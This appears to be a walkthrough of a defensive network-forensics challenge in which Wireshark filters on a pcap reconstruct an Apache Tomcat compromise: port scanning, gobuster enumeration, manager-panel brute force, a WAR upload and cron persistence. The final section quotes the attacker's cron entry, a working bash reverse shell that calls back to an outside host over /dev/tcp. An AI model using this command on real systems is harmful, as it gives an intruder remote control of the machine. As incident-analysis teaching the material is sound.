Tools:

• Wireshark

Description:

Our SOC team has detected suspicious activity on one of the web servers within the company’s intranet. To gain a deeper understanding of the situation, the team has captured network traffic for analysis. This pcap file potentially contains a series of malicious activities that have resulted in the compromise of the Apache Tomcat web server. We need to investigate this incident further.

Q1) Given the suspicious activity detected on the web server, the pcap analysis shows a series of requests across various ports, suggesting a potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?

To answer this question one can simply navigate to Statistics>Conversations>TCP. Here we can see all the conversations that were occurring at the time the pcap was captured along with the src ip:port, dst ip:port, bytes and much more.

We can also filter for tcp syn packets and clearly see that the ip 14.0.0.12 is performing a syn scan against 10.0.0.112.

Q2) Based on the identified IP address associated with the attacker, can you ascertain the city from which the attacker’s activities originated?

This question requires some OSINT. I used https://whatismyipaddress.com/ and entered the suspicious IP. Results indicate that the origin of the ip is Guangzhou,China.

Q3) From the pcap analysis, multiple open ports were detected as a result of the attacker’s activitie scan. Which of these ports provides access to the web server admin panel?

To identify open ports on the server, we filter for TCP reset packets originating from the source IP 14.0.0.120. When an open port is encountered, the server responds with a SYN/ACK. Instead of completing the TCP three-way handshake, the scanning IP sends a reset flag to sever the connection. Seems like the ports 22,8009,8080, and 35790 are open.

Now lets find which of these might contain the webserver admin panel by filtering for “frame contains ‘admin’” we find that port 8080 hosts the admin portal.

Q4) Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?

When directory enumeration is performed on a webserver its highly probably that the scan will encounter HTTP response codes of 404 (indicates that the webserver could not find the file or page that was requested) as a result of the various directories or files listed in the enumeration tool that do not actually exist on the server. The ones that do exit return a 200 code.

To find the answer filter for “http.response.code >= 400 && http.response.code <= 451” here we see all the client error response codes (400-499) and see an overwhelming amount of 404 as well as 401 (not authorized). Right click on the packets from src.ip:10.0.0.112 and dst.ip:14.0.0.120 and follow the http stream. The tool the adversary was using was “gobuster” as seen in the user aget field in the http header.

Q5) Subsequent to their efforts to enumerate directories on our web server, the attacker made numerous requests trying to identify administrative interfaces. Which specific directory associated with the admin panel was the attacker able to uncover?

Given the fact that the threat actor made numerous requests associated with the admin panel i followed the http stream on packet 20126 on the search query “frame contains ‘admin’” and looked at the subsequent requests made by the threat actor and found /manager/html , manager/resources etc. Its quite obvious that the threat actor discovered “/manager” directory based on these requests.

You can validate this by taking note of the packet associated with the request and looking in the http stream and locating it in the pcap.

Q6) Upon accessing the admin panel, the attacker made attempts to brute-force the login credentials. From the data, can you identify the correct username and password combination that the attacker successfully used for authorization?

In Q3 i mentioned seeing 401 codes present in the search query results which might imply the threat actor was attempting to bruteforce the creds. Filtering for “http.response.code ==401” and following the http stream on 20525 revealed all the attempts made by the threat actor.

Scrolling down the http stream i notice the presence of the authorization field in the GET requests for /manager/html. One of the requests ended up being met with a 200 code which suggests a successful login. I took note of the packet number.

Then looked for said packet (2553) and expanded the authorization field.

Q7) Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?

To find this answer you can filter for HTTP post requests “http. request.method == “POST”” as POST requests are indicative of a client submitting data to a server, in this case we are looking for a file. Following the http steam on the packet 20616 reveals the file uploaded was “JXQOZY.war”; Additionally, the URL itself has the keyword upload which further substantiates our assertion. Follow the HTTP Stream.

Q8) Upon successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?

To answer this question we must understand what a reverse shell is so we can detect it. A reverse shell involves the compromised endpoint establishing a connection to another endpoint that is listening on a specific port. Now, it’s important to note that this connection doesn’t always lead straight to the attackers machine; they might have a complex command-and-control (C2) setup in place. However, in our particular case, it’s a direct link to the attacker’s machine.

Given this information, the next logical step is to filter for connections originating from the servers ip of 10.0.0.112.I utilized the following query which essentially filters for syn flags (which often signifies the establishment of a new connection) originating from 10.0.0.112 following the upload of the reverse shell.

((ip.src == 10.0.0.112 && frame.number > 20616) && (tcp.flags.syn == 1)) && (tcp.flags.ack == 0)

We are met with 2 results, 1 of which connects to port 80 which means it’s unencrypted. Following the http stream on packet 20646 reveals the command used to maintain persistence.

cronjob(basically the linux equivalent of Scheduled tasks from windows), the Technique ID per MITRE is T1053.003

“* * * * * /bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’”